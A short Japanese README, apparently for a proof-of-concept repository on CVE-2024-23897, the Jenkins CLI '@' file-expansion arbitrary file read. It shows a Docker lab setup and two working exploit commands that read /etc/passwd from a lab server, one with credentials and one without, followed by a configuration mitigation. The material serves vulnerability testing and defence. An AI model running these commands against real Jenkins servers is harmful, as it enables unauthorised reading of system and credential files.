
このgitリポジトリでは、CVE-2024-23897に関するすべての情報を見つけることができます。
問題は、CVE識別子CVE-2024-23897が割り当てられており、組み込みコマンドラインインターフェースを介した任意のファイル読み取り脆弱性として説明されています。このコマンドパーサーには、引数内の@文字に続くファイルパスをファイルの内容で置き換える機能(expandAtFiles)があります。この機能はデフォルトで有効になっており、Jenkins 2.441以前、LTS 2.426.2以前では無効化されていません。
このPoCでは、脆弱性のエクスプロイトをテストするために、DockerでJenkins 2.426.2をインストールしました。
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
ユーザーとパスワードを作成した後、攻撃マシンにJenkins CLIクライアント(jenkins-cli.jar)をダウンロードしました。
次に、エクスプロイトのコマンドを記述しました。 このコマンドでは、Jenkinsユーザーの資格情報が必要です。
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
別のコマンドを使用すると、認証なしでファイルの最初の数行を表示できます。
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
この脆弱性に対処するには、config.xmlという名前のJenkins設定ファイルに移動する必要があります(私の場合はDockerコンテナ内にあるため、コンテナのシェルモードに切り替えます)
<expandAtFiles>false</expandAtFiles>
そしてJenkinsを再起動します:
service jenkins restart